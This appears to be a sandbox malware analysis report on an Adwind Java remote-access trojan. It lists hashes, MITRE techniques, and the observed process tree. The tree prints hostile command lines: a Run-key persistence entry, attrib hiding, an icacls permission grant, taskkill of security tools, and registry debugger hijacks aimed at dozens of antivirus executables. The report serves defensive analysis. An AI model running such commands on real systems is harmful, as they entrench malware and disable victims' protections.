adwind | 832f7dc68fe005bddcf38b567541262a39bcc038e184625e6fa6faf31190b817

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
21-05-2024 15:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1040.jar
Size

491KB
MD5

eb512c565d7a9d44ed61d99005cca2c5
SHA1

2f13111c37858624ee4f09f52a35e88d8e09d972
SHA256

12e8f60b7c23b21cc0d2d1cedb734aa17ecefef65770f34424388aec590cbaae
SHA512

0386d9efebe6e7f408965557705687fc1d12183057ad14535530be789adf60f62bbba779ab2257f1145c02b16a547f10c1120a20ed1bcb437809f692025599ec
SSDEEP

12288:o70BB5xG3FGjwQH9WRuT5n6VBP/aenO0u:MyG1vPuT5C/aGQ

Score

10^/10

adwind discovery evasion persistence trojan

Malware Config

Signatures

AdWind
A Java-based RAT family operated as malware-as-a-service.
trojan adwind
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regedit.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FilMsg.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVKTray.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSecurity.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nanoav.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nwscmon.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SSUpdate64.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EMLPROXY.EXE\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FortiSSLVPNdaemon.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FSHDLL64.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fshoster32.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsorsp.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EMLPROXY.EXE	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVKWCtlx64.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlhh.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SUPERAntiSpyware.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uiWinMgr.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UnThreat.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FortiESNAC.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GdBgInx64.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvcsvc.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nbrowser.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanpro.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7EmlPxy.EXE	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7CrvSvc.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nanoav.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FortiProxy.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVK.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fcappdb.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVKTray.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSMain.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvoy.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlhh.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PtSvcHost.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FortiClient.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FortiESNAC.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe\debugger = "svchost.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fssm32.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ScSecSvc.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ScSecSvc.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\coreServiceShell.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWAGENT.EXE	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIEWTCP.EXE	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FSMA32.EXE	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QUHLPSVC.EXE	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uiWinMgr.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\av_task.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSANHost.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBPIMSvc.exe\debugger = "svchost.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BavSvc.exe	regedit.exe

Executes dropped EXE 2 IoCs

Processes:

javaw.exejava.exe

pid process

4344 javaw.exe
540 java.exe

Loads dropped DLL 25 IoCs

Processes:

javaw.exejava.exe

pid	process
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
4344	javaw.exe
540	java.exe
540	java.exe
540	java.exe
540	java.exe
540	java.exe
540	java.exe
540	java.exe
4344	javaw.exe
4344	javaw.exe
540	java.exe
540	java.exe
540	java.exe
540	java.exe
4344	javaw.exe
540	java.exe
4344	javaw.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

524 icacls.exe

pid	process
524	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rfytGkovyDZ = "\"C:\\Users\\Admin\\AppData\\Roaming\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\pUELNCPAtlG\\NgiALqHqpDI.ZKxeeu\""	reg.exe

Drops file in System32 directory 4 IoCs

Processes:

javaw.exejava.exejava.exejava.exe

description	ioc	process
File opened for modification	C:\Windows\System32\test.txt	javaw.exe
File opened for modification	C:\Windows\System32\test.txt	java.exe
File created	C:\Windows\System32\test.txt	java.exe
File opened for modification	C:\Windows\System32\test.txt	java.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4588	taskkill.exe
4016	taskkill.exe
3856	taskkill.exe
4720	taskkill.exe
1372	taskkill.exe
4396	taskkill.exe
3252	taskkill.exe
3784	taskkill.exe
4900	taskkill.exe
2488	taskkill.exe
3020	taskkill.exe
4024	taskkill.exe
2608	taskkill.exe
2312	taskkill.exe
992	taskkill.exe
4600	taskkill.exe
2176	taskkill.exe
3504	taskkill.exe
2744	taskkill.exe
228	taskkill.exe
4396	taskkill.exe
4472	taskkill.exe
4824	taskkill.exe
2484	taskkill.exe
1948	taskkill.exe
1808	taskkill.exe
5000	taskkill.exe
948	taskkill.exe
4832	taskkill.exe
3276	taskkill.exe
2640	taskkill.exe
3744	taskkill.exe
3884	taskkill.exe
2492	taskkill.exe
3152	taskkill.exe
1852	taskkill.exe
3216	taskkill.exe
384	taskkill.exe
4872	taskkill.exe
3052	taskkill.exe
3856	taskkill.exe
1380	taskkill.exe
3944	taskkill.exe
3832	taskkill.exe
1388	taskkill.exe
5108	taskkill.exe
2528	taskkill.exe
4992	taskkill.exe
2528	taskkill.exe
2980	taskkill.exe
3896	taskkill.exe
3316	taskkill.exe
2068	taskkill.exe
624	taskkill.exe
1372	taskkill.exe
2936	taskkill.exe
1512	taskkill.exe
2692	taskkill.exe
1660	taskkill.exe
632	taskkill.exe
452	taskkill.exe
1880	taskkill.exe
4104	taskkill.exe
4084	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2648 reg.exe
Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

4092 regedit.exe

pid	process
2648	reg.exe

pid	process
4092	regedit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	2684	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	1932	taskkill.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	3176	taskkill.exe
Token: SeDebugPrivilege	1872	taskkill.exe
Token: SeDebugPrivilege	4272	taskkill.exe
Token: SeDebugPrivilege	4104	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	4368	taskkill.exe
Token: SeDebugPrivilege	4880	taskkill.exe
Token: SeDebugPrivilege	1388	taskkill.exe
Token: SeDebugPrivilege	1372	taskkill.exe
Token: SeDebugPrivilege	1852	taskkill.exe
Token: SeDebugPrivilege	2640	taskkill.exe
Token: SeDebugPrivilege	3276	taskkill.exe
Token: SeDebugPrivilege	3504	taskkill.exe
Token: SeDebugPrivilege	4224	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	452	taskkill.exe
Token: SeDebugPrivilege	4644	taskkill.exe
Token: SeDebugPrivilege	3476	taskkill.exe
Token: SeDebugPrivilege	3424	taskkill.exe
Token: SeDebugPrivilege	776	taskkill.exe
Token: SeDebugPrivilege	5108	taskkill.exe
Token: SeDebugPrivilege	4736	taskkill.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	4600	taskkill.exe
Token: SeDebugPrivilege	3988	taskkill.exe
Token: SeDebugPrivilege	4900	taskkill.exe
Token: SeDebugPrivilege	3752	taskkill.exe
Token: SeDebugPrivilege	2640	taskkill.exe
Token: SeDebugPrivilege	4112	taskkill.exe
Token: SeDebugPrivilege	2176	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	744	taskkill.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	5116	taskkill.exe
Token: SeDebugPrivilege	3544	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	4396	taskkill.exe
Token: SeDebugPrivilege	3316	taskkill.exe
Token: SeDebugPrivilege	5000	taskkill.exe
Token: SeDebugPrivilege	2492	taskkill.exe
Token: SeDebugPrivilege	1656	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	992	taskkill.exe
Token: SeDebugPrivilege	3720	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	2572	taskkill.exe
Token: SeDebugPrivilege	3856	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	2508	taskkill.exe
Token: SeDebugPrivilege	1400	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	2684	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	1576	taskkill.exe
Token: SeDebugPrivilege	1376	taskkill.exe
Token: SeDebugPrivilege	1512	taskkill.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

java.exejava.exejavaw.exejava.exe

pid process

4008 java.exe
212 java.exe
4344 javaw.exe
540 java.exe

pid	process
4008	java.exe
212	java.exe
4344	javaw.exe
540	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

java.execmd.execmd.exejava.execmd.execmd.exejavaw.execmd.exejava.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4008 wrote to memory of 524	4008	java.exe	icacls.exe
PID 4008 wrote to memory of 524	4008	java.exe	icacls.exe
PID 4008 wrote to memory of 212	4008	java.exe	java.exe
PID 4008 wrote to memory of 212	4008	java.exe	java.exe
PID 4008 wrote to memory of 4540	4008	java.exe	cmd.exe
PID 4008 wrote to memory of 4540	4008	java.exe	cmd.exe
PID 4540 wrote to memory of 2144	4540	cmd.exe	cscript.exe
PID 4540 wrote to memory of 2144	4540	cmd.exe	cscript.exe
PID 4008 wrote to memory of 4680	4008	java.exe	cmd.exe
PID 4008 wrote to memory of 4680	4008	java.exe	cmd.exe
PID 4680 wrote to memory of 1752	4680	cmd.exe	cscript.exe
PID 4680 wrote to memory of 1752	4680	cmd.exe	cscript.exe
PID 212 wrote to memory of 2652	212	java.exe	cmd.exe
PID 212 wrote to memory of 2652	212	java.exe	cmd.exe
PID 4008 wrote to memory of 2388	4008	java.exe	xcopy.exe
PID 4008 wrote to memory of 2388	4008	java.exe	xcopy.exe
PID 2652 wrote to memory of 3788	2652	cmd.exe	cscript.exe
PID 2652 wrote to memory of 3788	2652	cmd.exe	cscript.exe
PID 212 wrote to memory of 3568	212	java.exe	cmd.exe
PID 212 wrote to memory of 3568	212	java.exe	cmd.exe
PID 3568 wrote to memory of 5108	3568	cmd.exe	cscript.exe
PID 3568 wrote to memory of 5108	3568	cmd.exe	cscript.exe
PID 212 wrote to memory of 2548	212	java.exe	cmd.exe
PID 212 wrote to memory of 2548	212	java.exe	cmd.exe
PID 4008 wrote to memory of 3248	4008	java.exe	cmd.exe
PID 4008 wrote to memory of 3248	4008	java.exe	cmd.exe
PID 4008 wrote to memory of 2648	4008	java.exe	reg.exe
PID 4008 wrote to memory of 2648	4008	java.exe	reg.exe
PID 4008 wrote to memory of 1372	4008	java.exe	attrib.exe
PID 4008 wrote to memory of 1372	4008	java.exe	attrib.exe
PID 4008 wrote to memory of 1948	4008	java.exe	attrib.exe
PID 4008 wrote to memory of 1948	4008	java.exe	attrib.exe
PID 4008 wrote to memory of 4344	4008	java.exe	javaw.exe
PID 4008 wrote to memory of 4344	4008	java.exe	javaw.exe
PID 4344 wrote to memory of 540	4344	javaw.exe	java.exe
PID 4344 wrote to memory of 540	4344	javaw.exe	java.exe
PID 4344 wrote to memory of 1656	4344	javaw.exe	cmd.exe
PID 4344 wrote to memory of 1656	4344	javaw.exe	cmd.exe
PID 1656 wrote to memory of 1784	1656	cmd.exe	cscript.exe
PID 1656 wrote to memory of 1784	1656	cmd.exe	cscript.exe
PID 4344 wrote to memory of 3448	4344	javaw.exe	cmd.exe
PID 4344 wrote to memory of 3448	4344	javaw.exe	cmd.exe
PID 540 wrote to memory of 3508	540	java.exe	cmd.exe
PID 540 wrote to memory of 3508	540	java.exe	cmd.exe
PID 3448 wrote to memory of 4112	3448	cmd.exe	cscript.exe
PID 3448 wrote to memory of 4112	3448	cmd.exe	cscript.exe
PID 3508 wrote to memory of 3424	3508	cmd.exe	cscript.exe
PID 3508 wrote to memory of 3424	3508	cmd.exe	cscript.exe
PID 4344 wrote to memory of 2868	4344	javaw.exe	cmd.exe
PID 4344 wrote to memory of 2868	4344	javaw.exe	cmd.exe
PID 540 wrote to memory of 5016	540	java.exe	cmd.exe
PID 540 wrote to memory of 5016	540	java.exe	cmd.exe
PID 5016 wrote to memory of 2176	5016	cmd.exe	cscript.exe
PID 5016 wrote to memory of 2176	5016	cmd.exe	cscript.exe
PID 540 wrote to memory of 776	540	java.exe	cmd.exe
PID 540 wrote to memory of 776	540	java.exe	cmd.exe
PID 4344 wrote to memory of 2684	4344	javaw.exe	taskkill.exe
PID 4344 wrote to memory of 2684	4344	javaw.exe	taskkill.exe
PID 4344 wrote to memory of 5040	4344	javaw.exe	cmd.exe
PID 4344 wrote to memory of 5040	4344	javaw.exe	cmd.exe
PID 5040 wrote to memory of 4092	5040	cmd.exe	regedit.exe
PID 5040 wrote to memory of 4092	5040	cmd.exe	regedit.exe
PID 4344 wrote to memory of 2104	4344	javaw.exe	taskkill.exe
PID 4344 wrote to memory of 2104	4344	javaw.exe	taskkill.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

1372 attrib.exe
1948 attrib.exe

pid	process
1372	attrib.exe
1948	attrib.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\1040.jar
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4008

C:\Windows\system32\icacls.exe
C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
2⤵
- Modifies file permissions
PID:524

C:\Program Files\Java\jre-1.8\bin\java.exe
"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar C:\Users\Admin\AppData\Local\Temp\_0.5570720658550379827556843368247168.class
2⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:212

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive2939814090833460367.vbs
3⤵
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive2939814090833460367.vbs
4⤵
PID:3788

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive1495926882804047447.vbs
3⤵
- Suspicious use of WriteProcessMemory
PID:3568

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive1495926882804047447.vbs
4⤵
PID:5108

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
3⤵
PID:2548

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive5788327712382200755.vbs
2⤵
- Suspicious use of WriteProcessMemory
PID:4540

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive5788327712382200755.vbs
3⤵
PID:2144

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive49555571110571528.vbs
2⤵
- Suspicious use of WriteProcessMemory
PID:4680

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive49555571110571528.vbs
3⤵
PID:1752

C:\Windows\SYSTEM32\xcopy.exe
xcopy "C:\Program Files\Java\jre-1.8" "C:\Users\Admin\AppData\Roaming\Oracle\" /e
2⤵
PID:2388

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3248

C:\Windows\SYSTEM32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v rfytGkovyDZ /t REG_EXPAND_SZ /d "\"C:\Users\Admin\AppData\Roaming\Oracle\bin\javaw.exe\" -jar \"C:\Users\Admin\pUELNCPAtlG\NgiALqHqpDI.ZKxeeu\"" /f
2⤵
- Adds Run key to start application
- Modifies registry key
PID:2648

C:\Windows\SYSTEM32\attrib.exe
attrib +h "C:\Users\Admin\pUELNCPAtlG\*.*"
2⤵
- Views/modifies file attributes
PID:1372

C:\Windows\SYSTEM32\attrib.exe
attrib +h "C:\Users\Admin\pUELNCPAtlG"
2⤵
- Views/modifies file attributes
PID:1948

C:\Users\Admin\AppData\Roaming\Oracle\bin\javaw.exe
C:\Users\Admin\AppData\Roaming\Oracle\bin\javaw.exe -jar C:\Users\Admin\pUELNCPAtlG\NgiALqHqpDI.ZKxeeu
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4344

C:\Users\Admin\AppData\Roaming\Oracle\bin\java.exe
C:\Users\Admin\AppData\Roaming\Oracle\bin\java.exe -jar C:\Users\Admin\AppData\Local\Temp\_0.233155013535738867098107606708488676.class
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive1043295423523197120.vbs
4⤵
- Suspicious use of WriteProcessMemory
PID:3508

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive1043295423523197120.vbs
5⤵
PID:3424

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive4282283653830853447.vbs
4⤵
- Suspicious use of WriteProcessMemory
PID:5016

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive4282283653830853447.vbs
5⤵
PID:2176

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
4⤵
PID:776

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive3508171365327813145.vbs
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive3508171365327813145.vbs
4⤵
PID:1784

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /C cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive3471999748280978256.vbs
3⤵
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\system32\cscript.exe
cscript.exe C:\Users\Admin\AppData\Local\Temp\Retrive3471999748280978256.vbs
4⤵
PID:4112

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
3⤵
PID:2868

C:\Windows\SYSTEM32\taskkill.exe
taskkill /IM ProcessHacker.exe /T /F
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c regedit.exe /s C:\Users\Admin\AppData\Local\Temp\UOJBOMFjjv7584549068421043114.reg
3⤵
- Suspicious use of WriteProcessMemory
PID:5040

C:\Windows\regedit.exe
regedit.exe /s C:\Users\Admin\AppData\Local\Temp\UOJBOMFjjv7584549068421043114.reg
4⤵
- Sets file execution options in registry
- Runs .reg file with regedit
PID:4092

C:\Windows\SYSTEM32\taskkill.exe
taskkill /IM procexp.exe /T /F
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\SYSTEM32\taskkill.exe
taskkill /IM MSASCui.exe /T /F
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1932

